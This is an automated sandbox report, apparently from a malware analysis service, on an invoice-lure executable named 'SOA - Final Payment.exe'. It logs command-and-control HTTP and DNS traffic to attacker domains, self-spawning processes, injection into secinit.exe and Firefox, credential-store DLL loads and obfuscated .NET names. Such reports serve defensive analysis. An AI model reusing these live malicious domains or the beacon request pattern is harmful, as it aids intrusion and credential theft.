Source: global traffic	HTTP traffic detected: GET /s3u9/?4J=UzjCSVSddvdCY8C2KpgECGgzR3gby2SVeHfhkJM3nHWcSpz3gZ2Mu5mgzC51fDOgl0cc0ISzjbohHF66d8TEmvApV4bOCL+NdTgdCFBJIAA/S51Hhw==&pd=qdUp HTTP/1.1Host: www.bydotoparca.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MASMJS)

Source: global traffic	DNS traffic detected: DNS query: www.physicsbrain.xyz
Source: global traffic	DNS traffic detected: DNS query: www.bydotoparca.net

Source: unknown	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Process created: C:\Users\user\Desktop\SOA - Final Payment.exe "C:\Users\user\Desktop\SOA - Final Payment.exe"	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\BXHUPDJQADAcjvpDMYoaiMasVRHZoQvMhhLBsAXMlHmrldwCfQCCyLMmATzPUYnAfvwHFmdtSq\6UCrnFl0sVXS7jZvJ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: 0.2.SOA - Final Payment.exe.450a528.1.raw.unpack, MainForm.cs	.Net Code: _200C_202A_200E_202D_202D_206E_202D_202E_202A_206A_200E_202D_206B_206B_206E_206A_202C_206E_202E_200D_206B_206E_202C_202C_202B_200E_200C_202B_202C_206E_200D_200E_206C_202A_202E_206C_202B_202D_206B_200C_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, D10xcgnntUSUthDVjj.cs	.Net Code: IfcMEmfppD System.Reflection.Assembly.Load(byte[])
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, D10xcgnntUSUthDVjj.cs	.Net Code: IfcMEmfppD System.Reflection.Assembly.Load(byte[])
Source: 0.2.SOA - Final Payment.exe.4feb9c8.2.raw.unpack, D10xcgnntUSUthDVjj.cs	.Net Code: IfcMEmfppD System.Reflection.Assembly.Load(byte[])
Source: 0.2.SOA - Final Payment.exe.44ea508.0.raw.unpack, MainForm.cs	.Net Code: _200C_202A_200E_202D_202D_206E_202D_202E_202A_206A_200E_202D_206B_206B_206E_206A_202C_206E_202E_200D_206B_206E_202C_202C_202B_200E_200C_202B_202C_206E_200D_200E_206C_202A_202E_206C_202B_202D_206B_200C_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0184E958 pushfd ; retf	0_2_0184E959
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_059CD7A0 push eax; mov dword ptr [esp], ecx	0_2_059CD7B4
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_059CDEA1 push eax; ret	0_2_059CDEB3
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0792BA10 push cs; ret	0_2_0792BA11
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_07B319D5 push FFFFFF8Bh; iretd	0_2_07B319D7
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 0_2_0B7845E0 push eax; ret	0_2_0B7845E1
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0041F003 pushfd ; iretd	5_2_0041F01B
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00414086 push esi; ret	5_2_00414095
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00417939 push FFFFFFD7h; retf	5_2_0041793E
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040DA26 push es; iretd	5_2_0040DA2E
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00418AD8 pushad ; iretd	5_2_00418ADF
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0041940F push edx; ret	5_2_00419411
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00419416 push edi; retf	5_2_00419417
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_004075C0 push esi; retf	5_2_004075C8
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040AD9E push ebp; retf	5_2_0040AD9F
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040D5AD push 43AEBFE9h; ret	5_2_0040D5B9
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00418654 push ds; ret	5_2_00418656
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00403660 push eax; ret	5_2_00403662
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00401669 push eax; retf	5_2_0040166A
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0040760B push ebx; iretd	5_2_0040760D
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_0041D612 pushfd ; ret	5_2_0041D620
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00414EC6 push esp; ret	5_2_00414EC7
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_00401FEE pushad ; retf	5_2_00401FEF
Source: C:\Users\user\Desktop\SOA - Final Payment.exe	Code function: 5_2_012709AD push ecx; mov dword ptr [esp], ecx	5_2_012709B6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_033909AD push ecx; mov dword ptr [esp], ecx	10_2_033909B6
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A642D6 push FFFFFFD7h; retf	10_2_02A642DB
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A60A23 push esi; ret	10_2_02A60A32
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A64FF1 push ds; ret	10_2_02A64FF3
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A713C2 push cs; ret	10_2_02A713D9
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A61779 push esi; retf	10_2_02A61771
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 10_2_02A61749 push esi; retf	10_2_02A61771

Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, OoBZYlURZFhiWNTeye.cs	High entropy of concatenated method names: 'x6e7mhLKmw', 'PM97DigSad', 'Nxr71M3haK', 'Evx7C1DD22', 'wFq7KpOxnR', 'dNe7ReN3Xv', 'NVv7866jXg', 'iSm7xh4tKW', 'nuw7rw6Hno', 'FGX7anFP5e'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, DWwqrCAdAoD5b25WSq.cs	High entropy of concatenated method names: 'zxuVrOPF8N', 'bSlVkaI6ir', 'svVVAFi6JG', 'hZ2Vu6sTRl', 'XmNVC7kf0i', 'Xm2VgEuWv1', 'uESVK1OYMo', 'hK9VRmjSFb', 'miPVPKgkW6', 'WXTV8Adc3w'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, BbEFNFWk7srD2eL76Q.cs	High entropy of concatenated method names: 'MQroO47rNX', 'jRDo5grL7t', 'QCtoEPBXAy', 'JOvoeWO6nw', 'HTNoYTyrJk', 'o79oyP7Rgr', 'lNCoiQa3kf', 'QaKomAXg5u', 'TjDoDQuRCp', 'AUyolHCRAN'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, WFgxcqC0OBC8Z8lXTy.cs	High entropy of concatenated method names: 'mtjJxkV2JsVI3LsSrdH', 'NPyLFgV6EpLTaQYwdVQ', 'k6BfSn66TZ', 'm1tf0LutA1', 'cFUfXWECCS', 'M0Ey0gV09Qyv7pSuT05', 'oj4KFdVvcuGmNeKBsYR', 'kiyATjVRdDGH1raHUbE'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, a1PjpmmEEKL740qFJE.cs	High entropy of concatenated method names: 'Ib1LAasruw', 'PmrLudgx79', 'wWSLv2NeCh', 'KAbLq6wX26', 'HteLcSon3V', 'yRhLb91n6Q', 'Y7QLF8gx76', 'LmFLsXidh2', 'fe1L4Lpsfa', 'MYpLdAIrWO'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, xMlKa8byoI2WwgvKIZ.cs	High entropy of concatenated method names: 'apnhs6bDP3', 'XaChd9gdNt', 'QkqSN5IJAe', 'KaiSJxAL9p', 'MaLhaAS6VJ', 'yTnhkIsIKR', 'LPUhUg4PR7', 'bUnhAtk60c', 'h54huntJ5S', 'IbJhvKcYii'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, BvYnnC3dq2MFvh150l.cs	High entropy of concatenated method names: 'LytEN4UUj', 'h6heT3E0V', 'qPmy2QyxS', 'XE0i3ZYmm', 'QVxDendjw', 'VLZl4V9DB', 'koDF70UYWiHWW83W9t', 'uGNlxtFcwxxIWZqJXj', 'g61SQ0bTe', 'zokXY6o7Q'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, pp6G2MFxDKv6awNaAk.cs	High entropy of concatenated method names: 'x8T0VWChMs', 'Qvv0hn4Q39', 'i38005TxC9', 'Kiu0ZoqpFN', 'wUL0p0BesR', 'LVi0Q2tlPq', 'Dispose', 'VnoSjBCK5X', 'MOYSLgXVcr', 'XxfSHLJkNi'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, M6Ss5AdqI6xKbLxa2x.cs	High entropy of concatenated method names: 'fvSXH69TfW', 'puvXG6uOfd', 'KZXXf9xxpU', 'N5XXoWX309', 'FS4X0LBGPd', 'WY1XnBYcDt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, loZW9m4sDEXrM3LKXc.cs	High entropy of concatenated method names: 'cvT01v3sxk', 'GOA0CfFCTR', 'OjL0gAINqh', 'KZl0KHI9lk', 'Lxg0RDudLU', 'FLa0PZcrBG', 'd4u0887LjY', 'u5Y0x3AyE7', 'RDV0W9da3R', 'Fs00rGc5pE'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, aVWu2kJJV36e23MxBVE.cs	High entropy of concatenated method names: 'rsJXd3ZLB6', 'FZFXz6rGgW', 'T4mZN4Vtib', 'hRPZJfc73h', 'dGnZ38SFta', 'ds1ZwN9SM4', 'TM8ZMPg90I', 'j94Z9Jell2', 'IO7ZjEjt7N', 'wk4ZLZopw3'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, E6NKGT1PTud6hIE9NY.cs	High entropy of concatenated method names: 'P5Df9AU2xN', 'zPYfLooyTp', 'NJhfGpKu0S', 'w2kfoxd2Bd', 'I0QfnC865T', 'NwEGc9lB8y', 'PEBGb18wNq', 'ilrGFophly', 'FOpGswM9Gw', 'hInG4hoWZK'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, Goalmj8Bru8UbGGuvJ.cs	High entropy of concatenated method names: 'Qrkoj1CyFY', 'UFwoHTEIYv', 'PZaofVecvq', 'QDefdrXCIc', 'AecfzMwjBI', 'BhfoNcH6aV', 'qoRoJjHAk9', 'yeko3BTw5Q', 'zL9owHl4xT', 'BPZoMsKL8X'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, D10xcgnntUSUthDVjj.cs	High entropy of concatenated method names: 'C4Vw9xrq1x', 'IjCwj4PWcA', 'IeYwLsoTp3', 'dEOwH6N6ut', 'MlMwGj1GSn', 'rZvwfHKUs7', 'xXpwoTjKDu', 'yeUwn6W0mo', 's4mwTccue3', 'I4Mw2jY9kO'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, KqSZ65u4YNlGTuZpXE.cs	High entropy of concatenated method names: 'oIVVF1LyAS', 'Os4VsL3eSP', 'EmOV4dOJOp', 'cfCVdR0PBG', 'GyDuKfZGIbI3vKnGfwr', 'g7UlLird3ckw5WjcK2t', 'TZ1hSYrztLg3KGHuOJy', 'vPSIysZBnLmjWpZAXQn'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, Po5X6rJMaqECJJE2YZW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Cw3I0AI9uu', 'x1YIXMh28V', 'z4nIZFtvDa', 'wAmIIrHE9g', 'uPuIpsT2Zi', 'PCtItnJIU4', 'Ix6IQyI8LQ'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, gSW0m3JNlEFcUN1DL5o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kMKXargggR', 'Ka6XktddXd', 'I7KXUeL63X', 'sylXAXJUmM', 'm5NXud2FPh', 'cKrXvCkoZU', 'gDcXqH5o9H'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, nu9h5JqGSZptvqwEWO.cs	High entropy of concatenated method names: 'x81h2qNOb2', 'HurhBO6H3v', 'ToString', 'IX4hjWmQR2', 'B3HhL9ou3A', 'nRVhH4Mj9W', 'x7XhGDT3yk', 'Qbxhfk56O4', 'FVPhoeMLNp', 'gQ4hnURE1h'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, BO7eTHMwJqAxXSAxc7.cs	High entropy of concatenated method names: 'NSNJo1Pjpm', 'zEKJnL740q', 'TnYJ2Eau6C', 'vtkJBZTDwy', 'hhkJVdpm6N', 'IGTJ6PTud6', 'Y24qhlxyWTQQ9jFIIZ', 'kwiknE9vIax5r9Oy0G', 'UEAJJSO5jU', 'O3FJwRMNsM'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, H8dv04LKuelEGyv7Vi.cs	High entropy of concatenated method names: 'Dispose', 'Iv6J4awNaA', 'vbG3CnvAFo', 'JxkPyRXobv', 'PTXJdQJimZ', 't3CJzCy2yB', 'ProcessDialogKey', 'R2T3NoZW9m', 'WDE3JXrM3L', 'IXc33x6Ss5'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, E4ksvqDnYEau6CptkZ.cs	High entropy of concatenated method names: 'YI8HeWrK8h', 'HwPHy8slhM', 'EcQHm9CteF', 'vtFHDqaWmV', 'X63HV0Yxbo', 'NmYH6KuOlx', 'mieHhBT0cr', 'KPWHSJuWIW', 'CWiH0G8W1q', 'YeFHX9Yrks'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, lDwyF6lHJsf1bGhkdp.cs	High entropy of concatenated method names: 'WynGYby0qQ', 'ef7GieByjp', 'OxiHgFdZQE', 'nfMHKJ3gh0', 'Po9HRM6MBf', 'vCqHPfa8md', 'ubGH8C9MQ4', 'FbAHxk3SjX', 'AI4HWWX6Zf', 'hS0HrSproE'
Source: 0.2.SOA - Final Payment.exe.4f611a8.3.raw.unpack, u4ol8KzGkXpGUyqCGE.cs	High entropy of concatenated method names: 'OxIXyYNYdq', 'Ka3XmCAlUR', 'I6SXDseYkg', 'YOQX1cyJ8E', 'B0tXCCSuFn', 'ggxXKASMD3', 'TSeXRL4h89', 'XJnXQUcqvd', 'OC4XOjaMVo', 'rhsX5wQqsN'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, OoBZYlURZFhiWNTeye.cs	High entropy of concatenated method names: 'x6e7mhLKmw', 'PM97DigSad', 'Nxr71M3haK', 'Evx7C1DD22', 'wFq7KpOxnR', 'dNe7ReN3Xv', 'NVv7866jXg', 'iSm7xh4tKW', 'nuw7rw6Hno', 'FGX7anFP5e'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, DWwqrCAdAoD5b25WSq.cs	High entropy of concatenated method names: 'zxuVrOPF8N', 'bSlVkaI6ir', 'svVVAFi6JG', 'hZ2Vu6sTRl', 'XmNVC7kf0i', 'Xm2VgEuWv1', 'uESVK1OYMo', 'hK9VRmjSFb', 'miPVPKgkW6', 'WXTV8Adc3w'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, BbEFNFWk7srD2eL76Q.cs	High entropy of concatenated method names: 'MQroO47rNX', 'jRDo5grL7t', 'QCtoEPBXAy', 'JOvoeWO6nw', 'HTNoYTyrJk', 'o79oyP7Rgr', 'lNCoiQa3kf', 'QaKomAXg5u', 'TjDoDQuRCp', 'AUyolHCRAN'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, WFgxcqC0OBC8Z8lXTy.cs	High entropy of concatenated method names: 'mtjJxkV2JsVI3LsSrdH', 'NPyLFgV6EpLTaQYwdVQ', 'k6BfSn66TZ', 'm1tf0LutA1', 'cFUfXWECCS', 'M0Ey0gV09Qyv7pSuT05', 'oj4KFdVvcuGmNeKBsYR', 'kiyATjVRdDGH1raHUbE'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, a1PjpmmEEKL740qFJE.cs	High entropy of concatenated method names: 'Ib1LAasruw', 'PmrLudgx79', 'wWSLv2NeCh', 'KAbLq6wX26', 'HteLcSon3V', 'yRhLb91n6Q', 'Y7QLF8gx76', 'LmFLsXidh2', 'fe1L4Lpsfa', 'MYpLdAIrWO'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, xMlKa8byoI2WwgvKIZ.cs	High entropy of concatenated method names: 'apnhs6bDP3', 'XaChd9gdNt', 'QkqSN5IJAe', 'KaiSJxAL9p', 'MaLhaAS6VJ', 'yTnhkIsIKR', 'LPUhUg4PR7', 'bUnhAtk60c', 'h54huntJ5S', 'IbJhvKcYii'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, BvYnnC3dq2MFvh150l.cs	High entropy of concatenated method names: 'LytEN4UUj', 'h6heT3E0V', 'qPmy2QyxS', 'XE0i3ZYmm', 'QVxDendjw', 'VLZl4V9DB', 'koDF70UYWiHWW83W9t', 'uGNlxtFcwxxIWZqJXj', 'g61SQ0bTe', 'zokXY6o7Q'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, pp6G2MFxDKv6awNaAk.cs	High entropy of concatenated method names: 'x8T0VWChMs', 'Qvv0hn4Q39', 'i38005TxC9', 'Kiu0ZoqpFN', 'wUL0p0BesR', 'LVi0Q2tlPq', 'Dispose', 'VnoSjBCK5X', 'MOYSLgXVcr', 'XxfSHLJkNi'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, M6Ss5AdqI6xKbLxa2x.cs	High entropy of concatenated method names: 'fvSXH69TfW', 'puvXG6uOfd', 'KZXXf9xxpU', 'N5XXoWX309', 'FS4X0LBGPd', 'WY1XnBYcDt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, loZW9m4sDEXrM3LKXc.cs	High entropy of concatenated method names: 'cvT01v3sxk', 'GOA0CfFCTR', 'OjL0gAINqh', 'KZl0KHI9lk', 'Lxg0RDudLU', 'FLa0PZcrBG', 'd4u0887LjY', 'u5Y0x3AyE7', 'RDV0W9da3R', 'Fs00rGc5pE'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, aVWu2kJJV36e23MxBVE.cs	High entropy of concatenated method names: 'rsJXd3ZLB6', 'FZFXz6rGgW', 'T4mZN4Vtib', 'hRPZJfc73h', 'dGnZ38SFta', 'ds1ZwN9SM4', 'TM8ZMPg90I', 'j94Z9Jell2', 'IO7ZjEjt7N', 'wk4ZLZopw3'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, E6NKGT1PTud6hIE9NY.cs	High entropy of concatenated method names: 'P5Df9AU2xN', 'zPYfLooyTp', 'NJhfGpKu0S', 'w2kfoxd2Bd', 'I0QfnC865T', 'NwEGc9lB8y', 'PEBGb18wNq', 'ilrGFophly', 'FOpGswM9Gw', 'hInG4hoWZK'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, Goalmj8Bru8UbGGuvJ.cs	High entropy of concatenated method names: 'Qrkoj1CyFY', 'UFwoHTEIYv', 'PZaofVecvq', 'QDefdrXCIc', 'AecfzMwjBI', 'BhfoNcH6aV', 'qoRoJjHAk9', 'yeko3BTw5Q', 'zL9owHl4xT', 'BPZoMsKL8X'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, D10xcgnntUSUthDVjj.cs	High entropy of concatenated method names: 'C4Vw9xrq1x', 'IjCwj4PWcA', 'IeYwLsoTp3', 'dEOwH6N6ut', 'MlMwGj1GSn', 'rZvwfHKUs7', 'xXpwoTjKDu', 'yeUwn6W0mo', 's4mwTccue3', 'I4Mw2jY9kO'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, KqSZ65u4YNlGTuZpXE.cs	High entropy of concatenated method names: 'oIVVF1LyAS', 'Os4VsL3eSP', 'EmOV4dOJOp', 'cfCVdR0PBG', 'GyDuKfZGIbI3vKnGfwr', 'g7UlLird3ckw5WjcK2t', 'TZ1hSYrztLg3KGHuOJy', 'vPSIysZBnLmjWpZAXQn'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, Po5X6rJMaqECJJE2YZW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Cw3I0AI9uu', 'x1YIXMh28V', 'z4nIZFtvDa', 'wAmIIrHE9g', 'uPuIpsT2Zi', 'PCtItnJIU4', 'Ix6IQyI8LQ'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, gSW0m3JNlEFcUN1DL5o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'kMKXargggR', 'Ka6XktddXd', 'I7KXUeL63X', 'sylXAXJUmM', 'm5NXud2FPh', 'cKrXvCkoZU', 'gDcXqH5o9H'
Source: 0.2.SOA - Final Payment.exe.be40000.6.raw.unpack, nu9h5JqGSZptvqwEWO.cs	High entropy of concatenated method names: 'x81h2qNOb2', 'HurhBO6H3v', 'ToString', 'IX4hjWmQR2', 'B3HhL9ou3A', 'nRVhH4Mj9W', 'x7XhGDT3yk', 'Qbxhfk56O4', 'FVPhoeMLNp', 'gQ4hnURE1h'
